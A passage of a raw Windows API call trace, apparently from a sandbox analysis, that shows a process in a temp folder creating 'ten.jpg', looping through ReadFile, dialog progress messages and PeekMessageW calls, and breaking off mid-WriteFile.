(lpFileName="ten.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ten.jpg")) returned 0xffffffff [0068.353] CreateFileA (lpFileName="ten.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ten.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.353] GetFileType (hFile=0x138) returned 0x1 [0068.353] SetFilePointer (in: hFile=0x138, lDistanceToMove=527, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x20f [0068.353] SetEndOfFile (hFile=0x138) returned 1 [0068.354] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.354] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1b1, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1b1, lpOverlapped=0x0) returned 1 [0068.354] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.354] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.354] GetTickCount () returned 0x1fb4e [0068.354] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.354] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.354] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.354] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.354] GetTickCount () returned 0x1fb4e [0068.354] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.354] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.354] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.354] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.354] GetTickCount () returned 0x1fb4e [0068.354] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.354] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.354] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.354] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.354] GetTickCount () returned 0x1fb4e [0068.354] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.354] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.354] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.354] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.354] GetTickCount () returned 0x1fb4e [0068.354] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.354] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.354] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.354] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.354] GetTickCount () returned 0x1fb4e [0068.354] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.354] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.354] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.354] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.354] GetTickCount () returned 0x1fb4e [0068.354] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.354] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.354] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.355] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.355] GetTickCount () returned 0x1fb4e [0068.355] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.355] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.355] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.355] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.355] GetTickCount () returned 0x1fb4e [0068.355] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.355] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.355] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.355] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.355] GetTickCount () returned 0x1fb4e [0068.355] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.355] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.355] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.355] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.355] GetTickCount () returned 0x1fb4e [0068.355] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.355] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.355] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.355] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.355] GetTickCount () returned 0x1fb4e [0068.355] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.355] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.355] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.355] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.355] GetTickCount () returned 0x1fb4e [0068.355] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.355] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.355] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.355] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.355] GetTickCount () returned 0x1fb4e [0068.355] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.355] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.355] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.355] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.355] GetTickCount () returned 0x1fb4e [0068.355] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.355] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.355] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.355] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.356] GetTickCount () returned 0x1fb4e [0068.356] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.356] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.356] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.356] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.356] GetTickCount () returned 0x1fb4e [0068.356] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.356] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.356] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.356] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.356] GetTickCount () returned 0x1fb4e [0068.356] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.356] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.356] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.356] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.356] GetTickCount () returned 0x1fb4e [0068.356] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.356] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.356] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.356] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.356] GetTickCount () returned 0x1fb4e [0068.356] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.356] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.356] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.356] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.356] GetTickCount () returned 0x1fb4e [0068.356] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.356] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.356] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.356] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.356] GetTickCount () returned 0x1fb4e [0068.356] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.356] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.356] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.356] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.356] GetTickCount () returned 0x1fb4e [0068.356] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.356] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.356] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.356] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.356] GetTickCount () returned 0x1fb4e [0068.356] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.357] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.357] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.357] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.357] GetTickCount () returned 0x1fb4e [0068.357] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.357] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.357] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.357] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.357] GetTickCount () returned 0x1fb4e [0068.357] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.357] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.357] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.357] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.357] GetTickCount () returned 0x1fb4e [0068.357] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.357] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.357] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.357] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.357] GetTickCount () returned 0x1fb4e [0068.357] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.357] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.357] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.357] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.357] GetTickCount () returned 0x1fb4e [0068.357] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.357] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.357] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.357] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.357] GetTickCount () returned 0x1fb4e [0068.357] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.357] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.357] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.357] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.357] GetTickCount () returned 0x1fb4e [0068.357] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.357] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.357] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.357] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.357] GetTickCount () returned 0x1fb4e [0068.357] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.357] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.358] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.358] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.358] GetTickCount () returned 0x1fb4e [0068.358] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.358] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.358] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.358] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.358] GetTickCount () returned 0x1fb4e [0068.358] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.358] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, 